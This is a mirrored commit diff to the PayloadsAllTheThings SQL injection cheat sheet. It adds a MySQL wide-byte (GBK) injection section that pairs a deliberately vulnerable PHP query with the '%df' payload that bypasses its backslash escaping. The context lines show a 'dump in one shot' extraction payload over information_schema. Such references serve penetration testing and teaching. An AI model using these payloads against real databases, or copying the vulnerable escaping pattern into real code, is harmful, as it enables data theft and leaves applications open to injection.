mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 10:26:09 +00:00
Merge pull request #672 from manesec/master
Add MYSQL Wide byte injection
This commit is contained in:
commit
64a6e3eb04
@ -22,6 +22,7 @@
|
||||
* [Using SLEEP in a subselect](#using-sleep-in-a-subselect)
|
||||
* [Using conditional statements](#using-conditional-statements)
|
||||
* [MYSQL DIOS - Dump in One Shot](#mysql-dios---dump-in-one-shot)
|
||||
* [MYSQL Wide byte injection](#mysql-wide-byte-injection)
|
||||
* [MYSQL Current queries](#mysql-current-queries)
|
||||
* [MYSQL Read content of a file](#mysql-read-content-of-a-file)
|
||||
* [MYSQL Write a shell](#mysql-write-a-shell)
|
||||
@ -438,6 +439,36 @@ make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(51
|
||||
(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)
|
||||
```
|
||||
|
||||
|
||||
## MYSQL Wide byte injection
|
||||
|
||||
Wide byte injection works only when mysql encoding is set to gbk, a small php example:
|
||||
|
||||
```php
|
||||
function check_addslashes($string)
|
||||
{
|
||||
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
|
||||
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
|
||||
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
|
||||
|
||||
return $string;
|
||||
}
|
||||
|
||||
$id=check_addslashes($_GET['id']);
|
||||
mysql_query("SET NAMES gbk");
|
||||
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
|
||||
print_r(mysql_error());
|
||||
```
|
||||
|
||||
PHP will check quote and add backslash, like translates `'` into `\'`.
|
||||
|
||||
When input: `?id=1'` --> PHP add backslash --> `SELECT * FROM users WHERE id='1\'' LIMIT 0,1` --> not working.
|
||||
|
||||
But if add `%df`: `?id=1%df'` --> PHP add backslash --> `SELECT * FROM users WHERE id='1%df\'' LIMIT 0,1` --> ( `\` : `%5c`, `%df%5c` : `連` ) --> `SELECT * FROM users WHERE id='1連'' LIMIT 0,1` --> can escape `'`.
|
||||
|
||||
So, it can be: `?id=1%df' and 1=1 --+` --> PHP add backslash--> `SELECT * FROM users WHERE id='1連' and 1=1 --+' LIMIT 0,1`, it can be inject.
|
||||
|
||||
|
||||
## MYSQL Current queries
|
||||
|
||||
This table can list all operations that DB is performing at the moment.
|
||||
|
Loading…
Reference in New Issue
Block a user